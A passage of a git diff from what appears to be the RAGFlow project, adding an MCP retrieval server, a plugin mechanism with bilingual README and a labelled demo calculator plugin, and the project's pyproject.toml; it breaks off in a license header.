"run": doc.get("run", ""), + "token_count": doc.get("token_count"), + # "source_type": doc.get("source_type", ""), + "thumbnail": doc.get("thumbnail", ""), + "dataset_id": doc.get("dataset_id", dataset_id), + "meta_fields": doc.get("meta_fields", {}), + # "parser_config": doc.get("parser_config", {}) + } + doc_id_meta_list.append((doc_id, doc_meta)) + docs[doc_id] = doc_meta + self._set_cached_document_metadata_by_dataset(dataset_id, doc_id_meta_list) + if docs: + document_cache.update(docs) + + except Exception: + # Gracefully handle metadata cache failures + pass + + return document_cache, dataset_cache + + def _map_chunk_fields(self, chunk_data, dataset_cache, document_cache): + """Preserve all original API fields and add per-chunk document metadata""" + # Start with ALL raw data from API (preserve everything like original version) + mapped = dict(chunk_data) + + # Add dataset name enhancement + dataset_id = chunk_data.get("dataset_id") or chunk_data.get("kb_id") + if dataset_id and dataset_id in dataset_cache: + mapped["dataset_name"] = dataset_cache[dataset_id]["name"] + else: + mapped["dataset_name"] = "Unknown" + + # Add document name convenience field + mapped["document_name"] = chunk_data.get("document_keyword", "") + + # Add per-chunk document metadata + document_id = chunk_data.get("document_id") + if document_id and document_id in document_cache: + mapped["document_metadata"] = document_cache[document_id] + + return mapped + + +class RAGFlowCtx: + def __init__(self, connector: RAGFlowConnector): + self.conn = connector + + +@asynccontextmanager +async def sse_lifespan(server: Server) -> AsyncIterator[dict]: + ctx = RAGFlowCtx(RAGFlowConnector(base_url=BASE_URL)) + + logging.info("Legacy SSE application started with StreamableHTTP session manager!") + try: + yield {"ragflow_ctx": ctx} + finally: + logging.info("Legacy SSE application shutting down...") + + +app = Server("ragflow-mcp-server", lifespan=sse_lifespan) + + +def with_api_key(required=True): + def decorator(func): + @wraps(func) + async def wrapper(*args, **kwargs): + ctx = app.request_context + ragflow_ctx = ctx.lifespan_context.get("ragflow_ctx") + if not ragflow_ctx: + raise ValueError("Get RAGFlow Context failed") + + connector = ragflow_ctx.conn + + if MODE == LaunchMode.HOST: + headers = ctx.session._init_options.capabilities.experimental.get("headers", {}) + token = None + + # lower case here, because of Starlette conversion + auth = headers.get("authorization", "") + if auth.startswith("Bearer "): + token = auth.removeprefix("Bearer ").strip() + elif "api_key" in headers: + token = headers["api_key"] + + if required and not token: + raise ValueError("RAGFlow API key or Bearer token is required.") + + connector.bind_api_key(token) + else: + connector.bind_api_key(HOST_API_KEY) + + return await func(*args, connector=connector, **kwargs) + + return wrapper + + return decorator + + +@app.list_tools() +@with_api_key(required=True) +async def list_tools(*, connector) -> list[types.Tool]: + dataset_description = connector.list_datasets() + + return [ + types.Tool( + name="ragflow_retrieval", + description="Retrieve relevant chunks from the RAGFlow retrieve interface based on the question. You can optionally specify dataset_ids to search only specific datasets, or omit dataset_ids entirely to search across ALL available datasets. You can also optionally specify document_ids to search within specific documents. When dataset_ids is not provided or is empty, the system will automatically search across all available datasets. Below is the list of all available datasets, including their descriptions and IDs:" + + dataset_description, + inputSchema={ + "type": "object", + "properties": { + "dataset_ids": { + "type": "array", + "items": {"type": "string"}, + "description": "Optional array of dataset IDs to search. If not provided or empty, all datasets will be searched." + }, + "document_ids": { + "type": "array", + "items": {"type": "string"}, + "description": "Optional array of document IDs to search within." + }, + "question": { + "type": "string", + "description": "The question or query to search for." + }, + "page": { + "type": "integer", + "description": "Page number for pagination", + "default": 1, + "minimum": 1, + }, + "page_size": { + "type": "integer", + "description": "Number of results to return per page (default: 10, max recommended: 50 to avoid token limits)", + "default": 10, + "minimum": 1, + "maximum": 100, + }, + "similarity_threshold": { + "type": "number", + "description": "Minimum similarity threshold for results", + "default": 0.2, + "minimum": 0.0, + "maximum": 1.0, + }, + "vector_similarity_weight": { + "type": "number", + "description": "Weight for vector similarity vs term similarity", + "default": 0.3, + "minimum": 0.0, + "maximum": 1.0, + }, + "keyword": { + "type": "boolean", + "description": "Enable keyword-based search", + "default": False, + }, + "top_k": { + "type": "integer", + "description": "Maximum results to consider before ranking", + "default": 1024, + "minimum": 1, + "maximum": 1024, + }, + "rerank_id": { + "type": "string", + "description": "Optional reranking model identifier", + }, + "force_refresh": { + "type": "boolean", + "description": "Set to true only if fresh dataset and document metadata is explicitly required. Otherwise, cached metadata is used (default: false).", + "default": False, + }, + }, + "required": ["question"], + }, + ), + ] + + +@app.call_tool() +@with_api_key(required=True) +async def call_tool(name: str, arguments: dict, *, connector) -> list[types.TextContent | types.ImageContent | types.EmbeddedResource]: + if name == "ragflow_retrieval": + document_ids = arguments.get("document_ids", []) + dataset_ids = arguments.get("dataset_ids", []) + question = arguments.get("question", "") + page = arguments.get("page", 1) + page_size = arguments.get("page_size", 10) + similarity_threshold = arguments.get("similarity_threshold", 0.2) + vector_similarity_weight = arguments.get("vector_similarity_weight", 0.3) + keyword = arguments.get("keyword", False) + top_k = arguments.get("top_k", 1024) + rerank_id = arguments.get("rerank_id") + force_refresh = arguments.get("force_refresh", False) + + + # If no dataset_ids provided or empty list, get all available dataset IDs + if not dataset_ids: + dataset_list_str = connector.list_datasets() + dataset_ids = [] + + # Parse the dataset list to extract IDs + if dataset_list_str: + for line in dataset_list_str.strip().split('\n'): + if line.strip(): + try: + dataset_info = json.loads(line.strip()) + dataset_ids.append(dataset_info["id"]) + except (json.JSONDecodeError, KeyError): + # Skip malformed lines + continue + + return connector.retrieval( + dataset_ids=dataset_ids, + document_ids=document_ids, + question=question, + page=page, + page_size=page_size, + similarity_threshold=similarity_threshold, + vector_similarity_weight=vector_similarity_weight, + keyword=keyword, + top_k=top_k, + rerank_id=rerank_id, + force_refresh=force_refresh, + ) + raise ValueError(f"Tool not found: {name}") + + +def create_starlette_app(): + routes = [] + middleware = None + if MODE == LaunchMode.HOST: + from starlette.types import ASGIApp, Receive, Scope, Send + + class AuthMiddleware: + def __init__(self, app: ASGIApp): + self.app = app + + async def __call__(self, scope: Scope, receive: Receive, send: Send): + if scope["type"] != "http": + await self.app(scope, receive, send) + return + + path = scope["path"] + if path.startswith("/messages/") or path.startswith("/sse") or path.startswith("/mcp"): + headers = dict(scope["headers"]) + token = None + auth_header = headers.get(b"authorization") + if auth_header and auth_header.startswith(b"Bearer "): + token = auth_header.removeprefix(b"Bearer ").strip() + elif b"api_key" in headers: + token = headers[b"api_key"] + + if not token: + response = JSONResponse({"error": "Missing or invalid authorization header"}, status_code=401) + await response(scope, receive, send) + return + + await self.app(scope, receive, send) + + middleware = [Middleware(AuthMiddleware)] + + # Add SSE routes if enabled + if TRANSPORT_SSE_ENABLED: + from mcp.server.sse import SseServerTransport + + sse = SseServerTransport("/messages/") + + async def handle_sse(request): + async with sse.connect_sse(request.scope, request.receive, request._send) as streams: + await app.run(streams[0], streams[1], app.create_initialization_options(experimental_capabilities={"headers": dict(request.headers)})) + return Response() + + routes.extend( + [ + Route("/sse", endpoint=handle_sse, methods=["GET"]), + Mount("/messages/", app=sse.handle_post_message), + ] + ) + + # Add streamable HTTP route if enabled + streamablehttp_lifespan = None + if TRANSPORT_STREAMABLE_HTTP_ENABLED: + from starlette.types import Receive, Scope, Send + + from mcp.server.streamable_http_manager import StreamableHTTPSessionManager + + session_manager = StreamableHTTPSessionManager( + app=app, + event_store=None, + json_response=JSON_RESPONSE, + stateless=True, + ) + + async def handle_streamable_http(scope: Scope, receive: Receive, send: Send) -> None: + await session_manager.handle_request(scope, receive, send) + + @asynccontextmanager + async def streamablehttp_lifespan(app: Starlette) -> AsyncIterator[None]: + async with session_manager.run(): + logging.info("StreamableHTTP application started with StreamableHTTP session manager!") + try: + yield + finally: + logging.info("StreamableHTTP application shutting down...") + + routes.append(Mount("/mcp", app=handle_streamable_http)) + + return Starlette( + debug=True, + routes=routes, + middleware=middleware, + lifespan=streamablehttp_lifespan, + ) + + +@click.command() +@click.option("--base-url", type=str, default="http://127.0.0.1:9380", help="API base URL for RAGFlow backend") +@click.option("--host", type=str, default="127.0.0.1", help="Host to bind the RAGFlow MCP server") +@click.option("--port", type=int, default=9382, help="Port to bind the RAGFlow MCP server") +@click.option( + "--mode", + type=click.Choice(["self-host", "host"]), + default="self-host", + help=("Launch mode:\n self-host: run MCP for a single tenant (requires --api-key)\n host: multi-tenant mode, users must provide Authorization headers"), +) +@click.option("--api-key", type=str, default="", help="API key to use when in self-host mode") +@click.option( + "--transport-sse-enabled/--no-transport-sse-enabled", + default=True, + help="Enable or disable legacy SSE transport mode (default: enabled)", +) +@click.option( + "--transport-streamable-http-enabled/--no-transport-streamable-http-enabled", + default=True, + help="Enable or disable streamable-http transport mode (default: enabled)", +) +@click.option( + "--json-response/--no-json-response", + default=True, + help="Enable or disable JSON response mode for streamable-http (default: enabled)", +) +def main(base_url, host, port, mode, api_key, transport_sse_enabled, transport_streamable_http_enabled, json_response): + import os + + import uvicorn + from dotenv import load_dotenv + + load_dotenv() + + def parse_bool_flag(key: str, default: bool) -> bool: + val = os.environ.get(key, str(default)) + return str(val).strip().lower() in ("1", "true", "yes", "on") + + global BASE_URL, HOST, PORT, MODE, HOST_API_KEY, TRANSPORT_SSE_ENABLED, TRANSPORT_STREAMABLE_HTTP_ENABLED, JSON_RESPONSE + BASE_URL = os.environ.get("RAGFLOW_MCP_BASE_URL", base_url) + HOST = os.environ.get("RAGFLOW_MCP_HOST", host) + PORT = os.environ.get("RAGFLOW_MCP_PORT", str(port)) + MODE = os.environ.get("RAGFLOW_MCP_LAUNCH_MODE", mode) + HOST_API_KEY = os.environ.get("RAGFLOW_MCP_HOST_API_KEY", api_key) + TRANSPORT_SSE_ENABLED = parse_bool_flag("RAGFLOW_MCP_TRANSPORT_SSE_ENABLED", transport_sse_enabled) + TRANSPORT_STREAMABLE_HTTP_ENABLED = parse_bool_flag("RAGFLOW_MCP_TRANSPORT_STREAMABLE_ENABLED", transport_streamable_http_enabled) + JSON_RESPONSE = parse_bool_flag("RAGFLOW_MCP_JSON_RESPONSE", json_response) + + if MODE == LaunchMode.SELF_HOST and not HOST_API_KEY: + raise click.UsageError("--api-key is required when --mode is 'self-host'") + + if TRANSPORT_STREAMABLE_HTTP_ENABLED and MODE == LaunchMode.HOST: + raise click.UsageError("The --host mode is not supported with streamable-http transport yet.") + + if not TRANSPORT_STREAMABLE_HTTP_ENABLED and JSON_RESPONSE: + JSON_RESPONSE = False + + print( + r""" +__ __ ____ ____ ____ _____ ______ _______ ____ +| \/ |/ ___| _ \ / ___|| ____| _ \ \ / / ____| _ \ +| |\/| | | | |_) | \___ \| _| | |_) \ \ / /| _| | |_) | +| | | | |___| __/ ___) | |___| _ < \ V / | |___| _ < +|_| |_|\____|_| |____/|_____|_| \_\ \_/ |_____|_| \_\ + """, + flush=True, + ) + print(f"MCP launch mode: {MODE}", flush=True) + print(f"MCP host: {HOST}", flush=True) + print(f"MCP port: {PORT}", flush=True) + print(f"MCP base_url: {BASE_URL}", flush=True) + + if not any([TRANSPORT_SSE_ENABLED, TRANSPORT_STREAMABLE_HTTP_ENABLED]): + print("At least one transport should be enabled, enable streamable-http automatically", flush=True) + TRANSPORT_STREAMABLE_HTTP_ENABLED = True + + if TRANSPORT_SSE_ENABLED: + print("SSE transport enabled: yes", flush=True) + print("SSE endpoint available at /sse", flush=True) + else: + print("SSE transport enabled: no", flush=True) + + if TRANSPORT_STREAMABLE_HTTP_ENABLED: + print("Streamable HTTP transport enabled: yes", flush=True) + print("Streamable HTTP endpoint available at /mcp", flush=True) + if JSON_RESPONSE: + print("Streamable HTTP mode: JSON response enabled", flush=True) + else: + print("Streamable HTTP mode: SSE over HTTP enabled", flush=True) + else: + print("Streamable HTTP transport enabled: no", flush=True) + if JSON_RESPONSE: + print("Warning: --json-response ignored because streamable transport is disabled.", flush=True) + + uvicorn.run( + create_starlette_app(), + host=HOST, + port=int(PORT), + ) + + +if __name__ == "__main__": + """ + Launch examples: + + 1. Self-host mode with both SSE and Streamable HTTP (in JSON response mode) enabled (default): + uv run mcp/server/server.py --host=127.0.0.1 --port=9382 \ + --base-url=http://127.0.0.1:9380 \ + --mode=self-host --api-key=ragflow-xxxxx + + 2. Host mode (multi-tenant, self-host only, clients must provide Authorization headers): + uv run mcp/server/server.py --host=127.0.0.1 --port=9382 \ + --base-url=http://127.0.0.1:9380 \ + --mode=host + + 3. Disable legacy SSE (only streamable HTTP will be active): + uv run mcp/server/server.py --no-transport-sse-enabled \ + --mode=self-host --api-key=ragflow-xxxxx + + 4. Disable streamable HTTP (only legacy SSE will be active): + uv run mcp/server/server.py --no-transport-streamable-http-enabled \ + --mode=self-host --api-key=ragflow-xxxxx + + 5. Use streamable HTTP with SSE-style events (disable JSON response): + uv run mcp/server/server.py --transport-streamable-http-enabled --no-json-response \ + --mode=self-host --api-key=ragflow-xxxxx + + 6. Disable both transports (for testing): + uv run mcp/server/server.py --no-transport-sse-enabled --no-transport-streamable-http-enabled \ + --mode=self-host --api-key=ragflow-xxxxx + """ + main() diff --git a/plugin/README.md b/plugin/README.md new file mode 100644 index 0000000..1de01e2 --- /dev/null +++ b/plugin/README.md @@ -0,0 +1,97 @@ +# Plugins + +This directory contains the plugin mechanism for RAGFlow. + +RAGFlow will load plugins from `embedded_plugins` subdirectory recursively. + +## Supported plugin types + +Currently, the only supported plugin type is `llm_tools`. + +- `llm_tools`: A tool for LLM to call. + +## How to add a plugin + +Add a LLM tool plugin is simple: create a plugin file, put a class inherits the `LLMToolPlugin` class in it, then implement the `get_metadata` and the `invoke` methods. + +- `get_metadata` method: This method returns a `LLMToolMetadata` object, which contains the description of this tool. +The description will be provided to LLM, and the RAGFlow web frontend for displaying. + +- `invoke` method: This method accepts parameters generated by LLM, and return a `str` containing the tool execution result. +All the execution logic of this tool should go into this method. + +When you start RAGFlow, you can see your plugin was loaded in the log: + +``` +2025-05-15 19:29:08,959 INFO 34670 Recursively importing plugins from path `/some-path/ragflow/plugin/embedded_plugins` +2025-05-15 19:29:08,960 INFO 34670 Loaded llm_tools plugin BadCalculatorPlugin version 1.0.0 +``` + +Or it may contain some errors for you to fix your plugin. + +### Demo + +We will demonstrate how to add a plugin with a calculator tool which will give wrong answers. + +First, create a plugin file `bad_calculator.py` under the `embedded_plugins/llm_tools` directory. + +Then, we create a `BadCalculatorPlugin` class, extending the `LLMToolPlugin` base class: + +```python +class BadCalculatorPlugin(LLMToolPlugin): + _version_ = "1.0.0" +``` + +The `_version_` field is required, which specifies the version of the plugin. + +Our calculator has two numbers `a` and `b` as inputs, so we add a `invoke` method to our `BadCalculatorPlugin` class: + +```python +def invoke(self, a: int, b: int) -> str: + return str(a + b + 100) +``` + +The `invoke` method will be called by LLM. It can have many parameters, but the return type must be a `str`. + +Finally, we have to add a `get_metadata` method, to tell LLM how to use our `bad_calculator`: + +```python +@classmethod +def get_metadata(cls) -> LLMToolMetadata: + return { + # Name of this tool, providing to LLM + "name": "bad_calculator", + # Display name of this tool, providing to RAGFlow frontend + "displayName": "$t:bad_calculator.name", + # Description of the usage of this tool, providing to LLM + "description": "A tool to calculate the sum of two numbers (will give wrong answer)", + # Description of this tool, providing to RAGFlow frontend + "displayDescription": "$t:bad_calculator.description", + # Parameters of this tool + "parameters": { + # The first parameter - a + "a": { + # Parameter type, options are: number, string, or whatever the LLM can recognise + "type": "number", + # Description of this parameter, providing to LLM + "description": "The first number", + # Description of this parameter, provding to RAGFlow frontend + "displayDescription": "$t:bad_calculator.params.a", + # Whether this parameter is required + "required": True + }, + # The second parameter - b + "b": { + "type": "number", + "description": "The second number", + "displayDescription": "$t:bad_calculator.params.b", + "required": True + } + } +``` + +The `get_metadata` method is a `classmethod`. It will provide the description of this tool to LLM. + +The fields starts with `display` can use a special notation: `$t:xxx`, which will use the i18n mechanism in the RAGFlow frontend, getting text from the `llmTools` category. The frontend will display what you put here if you don't use this notation. + +Now our tool is ready. You can select it in the `Generate` component and try it out. diff --git a/plugin/README_zh.md b/plugin/README_zh.md new file mode 100644 index 0000000..17b3dd7 --- /dev/null +++ b/plugin/README_zh.md @@ -0,0 +1,98 @@ +# 插件 + +这个文件夹包含了RAGFlow的插件机制。 + +RAGFlow将会从`embedded_plugins`子文件夹中递归加载所有的插件。 + +## 支持的插件类型 + +目前，唯一支持的插件类型是`llm_tools`。 + +- `llm_tools`：用于供LLM进行调用的工具。 + +## 如何添加一个插件 + +添加一个LLM工具插件是很简单的：创建一个插件文件，向其中放一个继承自`LLMToolPlugin`的类，再实现它的`get_metadata`和`invoke`方法即可。 + +- `get_metadata`方法：这个方法返回一个`LLMToolMetadata`对象，其中包含了对这个工具的描述。 +这些描述信息将被提供给LLM进行调用，和RAGFlow的Web前端用作展示。 + +- `invoke`方法：这个方法接受LLM生成的参数，并且返回一个`str`对象，其中包含了这个工具的执行结果。 +这个工具的所有执行逻辑都应当放到这个方法里。 + +当你启动RAGFlow时，你会在日志中看见你的插件被加载了： + +``` +2025-05-15 19:29:08,959 INFO 34670 Recursively importing plugins from path `/some-path/ragflow/plugin/embedded_plugins` +2025-05-15 19:29:08,960 INFO 34670 Loaded llm_tools plugin BadCalculatorPlugin version 1.0.0 +``` + +也可能会报错，这时就需要根据报错对你的插件进行修复。 + +### 示例 + +我们将会添加一个会给出错误答案的计算器工具，来演示添加插件的过程。 + +首先，在`embedded_plugins/llm_tools`文件夹下创建一个插件文件`bad_calculator.py`。 + +接下来，我们创建一个`BadCalculatorPlugin`类，继承基类`LLMToolPlugin`： + +```python +class BadCalculatorPlugin(LLMToolPlugin): + _version_ = "1.0.0" +``` + +`_version_`字段是必填的，用于指定这个插件的版本号。 + +我们的计算器拥有两个输入字段`a`和`b`，所以我们添加如下的`invoke`方法到`BadCalculatorPlugin`类中： + +```python +def invoke(self, a: int, b: int) -> str: + return str(a + b + 100) +``` + +`invoke`方法将会被LLM所调用。这个方法可以有许多参数，但它必须返回一个`str`。 + +最后，我们需要添加一个`get_metadata`方法，来告诉LLM怎样使用我们的`bad_calculator`工具： + +```python +@classmethod +def get_metadata(cls) -> LLMToolMetadata: + return { + # 这个工具的名称，会提供给LLM + "name": "bad_calculator", + # 这个工具的展示名称，会提供给RAGFlow的Web前端 + "displayName": "$t:bad_calculator.name", + # 这个工具的用法描述，会提供给LLM + "description": "A tool to calculate the sum of two numbers (will give wrong answer)", + # 这个工具的描述，会提供给RAGFlow的Web前端 + "displayDescription": "$t:bad_calculator.description", + # 这个工具的参数 + "parameters": { + # 第一个参数 - a + "a": { + # 参数类型，选项为：number, string, 或者LLM可以识别的任何类型 + "type": "number", + # 这个参数的描述，会提供给LLM + "description": "The first number", + # 这个参数的描述，会提供给RAGFlow的Web前端 + "displayDescription": "$t:bad_calculator.params.a", + # 这个参数是否是必填的 + "required": True + }, + # 第二个参数 - b + "b": { + "type": "number", + "description": "The second number", + "displayDescription": "$t:bad_calculator.params.b", + "required": True + } + } +``` + +`get_metadata`方法是一个`classmethod`。它会把这个工具的描述提供给LLM。 + +以`display`开头的字段可以使用一种特殊写法`$t:xxx`，这种写法将使用RAGFlow的国际化机制，从`llmTools`这个分类中获取文字。如果你不使用这种写法，那么前端将会显示此处的原始内容。 + +现在，我们的工具已经做好了，你可以在`生成回答`组件中选择这个工具来尝试一下。 + diff --git a/plugin/__init__.py b/plugin/__init__.py new file mode 100644 index 0000000..379f2f7 --- /dev/null +++ b/plugin/__init__.py @@ -0,0 +1,3 @@ +from .plugin_manager import PluginManager + +GlobalPluginManager = PluginManager() diff --git a/plugin/common.py b/plugin/common.py new file mode 100644 index 0000000..7e85e0a --- /dev/null +++ b/plugin/common.py @@ -0,0 +1 @@ +PLUGIN_TYPE_LLM_TOOLS = "llm_tools" \ No newline at end of file diff --git a/plugin/embedded_plugins/llm_tools/bad_calculator.py b/plugin/embedded_plugins/llm_tools/bad_calculator.py new file mode 100644 index 0000000..537875f --- /dev/null +++ b/plugin/embedded_plugins/llm_tools/bad_calculator.py @@ -0,0 +1,37 @@ +import logging +from plugin.llm_tool_plugin import LLMToolMetadata, LLMToolPlugin + + +class BadCalculatorPlugin(LLMToolPlugin): + """ + A sample LLM tool plugin, will add two numbers with 100. + It only present for demo purpose. Do not use it in production. + """ + _version_ = "1.0.0" + + @classmethod + def get_metadata(cls) -> LLMToolMetadata: + return { + "name": "bad_calculator", + "displayName": "$t:bad_calculator.name", + "description": "A tool to calculate the sum of two numbers (will give wrong answer)", + "displayDescription": "$t:bad_calculator.description", + "parameters": { + "a": { + "type": "number", + "description": "The first number", + "displayDescription": "$t:bad_calculator.params.a", + "required": True + }, + "b": { + "type": "number", + "description": "The second number", + "displayDescription": "$t:bad_calculator.params.b", + "required": True + } + } + } + + def invoke(self, a: int, b: int) -> str: + logging.info(f"Bad calculator tool was called with arguments {a} and {b}") + return str(a + b + 100) diff --git a/plugin/llm_tool_plugin.py b/plugin/llm_tool_plugin.py new file mode 100644 index 0000000..b0dc4c8 --- /dev/null +++ b/plugin/llm_tool_plugin.py @@ -0,0 +1,51 @@ +from typing import Any, TypedDict +import pluginlib + +from .common import PLUGIN_TYPE_LLM_TOOLS + + +class LLMToolParameter(TypedDict): + type: str + description: str + displayDescription: str + required: bool + + +class LLMToolMetadata(TypedDict): + name: str + displayName: str + description: str + displayDescription: str + parameters: dict[str, LLMToolParameter] + + +@pluginlib.Parent(PLUGIN_TYPE_LLM_TOOLS) +class LLMToolPlugin: + @classmethod + @pluginlib.abstractmethod + def get_metadata(cls) -> LLMToolMetadata: + pass + + def invoke(self, **kwargs) -> str: + raise NotImplementedError + + +def llm_tool_metadata_to_openai_tool(llm_tool_metadata: LLMToolMetadata) -> dict[str, Any]: + return { + "type": "function", + "function": { + "name": llm_tool_metadata["name"], + "description": llm_tool_metadata["description"], + "parameters": { + "type": "object", + "properties": { + k: { + "type": p["type"], + "description": p["description"] + } + for k, p in llm_tool_metadata["parameters"].items() + }, + "required": [k for k, p in llm_tool_metadata["parameters"].items() if p["required"]] + } + } + } diff --git a/plugin/plugin_manager.py b/plugin/plugin_manager.py new file mode 100644 index 0000000..1f1b815 --- /dev/null +++ b/plugin/plugin_manager.py @@ -0,0 +1,45 @@ +import logging +import os +from pathlib import Path +import pluginlib + +from .common import PLUGIN_TYPE_LLM_TOOLS + +from .llm_tool_plugin import LLMToolPlugin + + +class PluginManager: + _llm_tool_plugins: dict[str, LLMToolPlugin] + + def __init__(self) -> None: + self._llm_tool_plugins = {} + + def load_plugins(self) -> None: + loader = pluginlib.PluginLoader( + paths=[str(Path(os.path.dirname(__file__), "embedded_plugins"))] + ) + + for type, plugins in loader.plugins.items(): + for name, plugin in plugins.items(): + logging.info(f"Loaded {type} plugin {name} version {plugin.version}") + + if type == PLUGIN_TYPE_LLM_TOOLS: + metadata = plugin.get_metadata() + self._llm_tool_plugins[metadata["name"]] = plugin + + def get_llm_tools(self) -> list[LLMToolPlugin]: + return list(self._llm_tool_plugins.values()) + + def get_llm_tool_by_name(self, name: str) -> LLMToolPlugin | None: + return self._llm_tool_plugins.get(name) + + def get_llm_tools_by_names(self, tool_names: list[str]) -> list[LLMToolPlugin]: + results = [] + + for name in tool_names: + plugin = self._llm_tool_plugins.get(name) + + if plugin is not None: + results.append(plugin) + + return results diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..0698114 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,190 @@ +[project] +name = "ragflow" +version = "0.20.5" +description = "[RAGFlow](https://ragflow.io/) is an open-source RAG (Retrieval-Augmented Generation) engine based on deep document understanding. It offers a streamlined RAG workflow for businesses of any scale, combining LLM (Large Language Models) to provide truthful question-answering capabilities, backed by well-founded citations from various complex formatted data." +authors = [{ name = "Zhichang Yu", email = "yuzhichang@gmail.com" }] +license-files = ["LICENSE"] +readme = "README.md" +requires-python = ">=3.10,<3.13" +dependencies = [ + "datrie==0.8.2", + "akshare>=1.15.78,<2.0.0", + "azure-storage-blob==12.22.0", + "azure-identity==1.17.1", + "azure-storage-file-datalake==12.16.0", + "anthropic==0.34.1", + "arxiv==2.1.3", + "aspose-slides>=24.9.0,<25.0.0; platform_machine == 'x86_64' or (sys_platform == 'darwin' and platform_machine == 'arm64')", + "beartype>=0.18.5,<0.19.0", + "bio==1.7.1", + "blinker==1.7.0", + "boto3==1.34.140", + "botocore==1.34.140", + "cachetools==5.3.3", + "chardet==5.2.0", + "cn2an==0.5.22", + "cohere==5.6.2", + "Crawl4AI>=0.3.8", + "dashscope==1.20.11", + "deepl==1.18.0", + "demjson3==3.0.6", + "discord-py==2.3.2", + "duckduckgo-search>=7.2.0,<8.0.0", + "editdistance==0.8.1", + "elastic-transport==8.12.0", + "elasticsearch==8.12.1", + "elasticsearch-dsl==8.12.0", + "extract-msg>=0.39.0", + "filelock==3.15.4", + "flask==3.0.3", + "flask-cors==5.0.0", + "flask-login==0.6.3", + "flask-session==0.8.0", + "google-search-results==2.4.2", + "groq==0.9.0", + "hanziconv==0.3.2", + "html-text==0.6.2", + "httpx[socks]==0.27.2", + "huggingface-hub>=0.25.0,<0.26.0", + "infinity-sdk==0.6.0.dev5", + "infinity-emb>=0.0.66,<0.0.67", + "itsdangerous==2.1.2", + "json-repair==0.35.0", + "markdown==3.6", + "markdown-to-json==2.1.1", + "minio==7.2.4", + "mistralai==0.4.2", + "nltk==3.9.1", + "numpy>=1.26.0,<2.0.0", + "ollama==0.2.1", + "onnxruntime==1.19.2; sys_platform == 'darwin' or platform_machine != 'x86_64'", + "onnxruntime-gpu==1.19.2; sys_platform != 'darwin' and platform_machine == 'x86_64'", + "openai>=1.45.0", + "opencv-python==4.10.0.84", + "opencv-python-headless==4.10.0.84", + "openpyxl>=3.1.0,<4.0.0", + "opendal>=0.45.0,<0.46.0", + "ormsgpack==1.5.0", + "pandas>=2.2.0,<3.0.0", + "pdfplumber==0.10.4", + "peewee==3.17.1", + "pillow==10.4.0", + "protobuf==5.27.2", + "psycopg2-binary==2.9.9", + "pyclipper==1.3.0.post5", + "pycryptodomex==3.20.0", + "pymysql>=1.1.1,<2.0.0", + "pypdf==6.0.0", + "python-dotenv==1.0.1", + "python-dateutil==2.8.2", + "python-pptx>=1.0.2,<2.0.0", + "pywencai==0.12.2", + "qianfan==0.4.6", + "ranx==0.3.20", + "readability-lxml==0.8.1", + "valkey==6.0.2", + "requests==2.32.2", + "replicate==0.31.0", + "roman-numbers==1.0.2", + "ruamel-base==1.0.0", + "ruamel-yaml>=0.18.6,<0.19.0", + "scholarly==1.7.11", + "scikit-learn==1.5.0", + "selenium==4.22.0", + "selenium-wire==5.1.0", + "setuptools>=75.2.0,<76.0.0", + "shapely==2.0.5", + "six==1.16.0", + "strenum==0.4.15", + "tabulate==0.9.0", + "tavily-python==0.5.1", + "tencentcloud-sdk-python==3.0.1215", + "tika==2.6.0", + "tiktoken==0.7.0", + "umap_learn==0.5.6", + "vertexai==1.64.0", + "volcengine==1.0.194", + "voyageai==0.2.3", + "webdriver-manager==4.0.1", + "werkzeug==3.0.6", + "wikipedia==1.4.0", + "word2number==1.1", + "xgboost==1.6.0", + "xpinyin==0.7.6", + "yfinance==0.2.65", + "zhipuai==2.0.1", + "google-generativeai>=0.8.1,<0.9.0", + "python-docx>=1.1.2,<2.0.0", + "pypdf2>=3.0.1,<4.0.0", + "graspologic>=3.4.1,<4.0.0", + "mini-racer>=0.12.4,<0.13.0", + "pyodbc>=5.2.0,<6.0.0", + "pyicu>=2.15.3,<3.0.0", + "flasgger>=0.9.7.1,<0.10.0", + "xxhash>=3.5.0,<4.0.0", + "trio>=0.29.0", + "langfuse>=2.60.0", + "debugpy>=1.8.13", + "mcp>=1.9.4", + "opensearch-py==2.7.1", + "pluginlib==0.9.4", + "click>=8.1.8", + "python-calamine>=0.4.0", + "litellm>=1.74.15.post1", + "flask-mail>=0.10.0", + "lark>=1.2.2", +] + +[project.optional-dependencies] +full = [ + "bcembedding==0.1.5", + "fastembed>=0.3.6,<0.4.0; sys_platform == 'darwin' or platform_machine != 'x86_64'", + "fastembed-gpu>=0.3.6,<0.4.0; sys_platform != 'darwin' and platform_machine == 'x86_64'", + "flagembedding==1.2.10", + "torch>=2.5.0,<3.0.0", + "transformers>=4.35.0,<5.0.0", +] + +[dependency-groups] +test = [ + "hypothesis>=6.132.0", + "openpyxl>=3.1.5", + "pillow>=10.4.0", + "pytest>=8.3.5", + "python-docx>=1.1.2", + "python-pptx>=1.0.2", + "reportlab>=4.4.1", + "requests>=2.32.2", + "requests-toolbelt>=1.0.0", +] + +[[tool.uv.index]] +url = "https://mirrors.aliyun.com/pypi/simple" + +[tool.setuptools] +packages = [ + 'agent', + 'agentic_reasoning', + 'api', + 'deepdoc', + 'graphrag', + 'intergrations.chatgpt-on-wechat.plugins', + 'mcp.server', + 'rag', + 'sdk.python.ragflow_sdk', +] + +[tool.ruff] +line-length = 200 +exclude = [".venv", "rag/svr/discord_svr.py"] + +[tool.ruff.lint] +extend-select = ["ASYNC", "ASYNC1"] +ignore = ["E402"] + +[tool.pytest.ini_options] +markers = [ + "p1: high priority test cases", + "p2: medium priority test cases", + "p3: low priority test cases", +] diff --git a/rag/__init__.py b/rag/__init__.py new file mode 100644 index 0000000..643f797 --- /dev/null +++ b/rag/__init__.py @@ -0,0 +1,18 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from beartype.claw import beartype_this_package +beartype_this_package() diff --git a/rag/app/__init__.py b/rag/app/__init__.py new file mode 100644 index 0000000..e156bc9 --- /dev/null +++ b/rag/app/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights 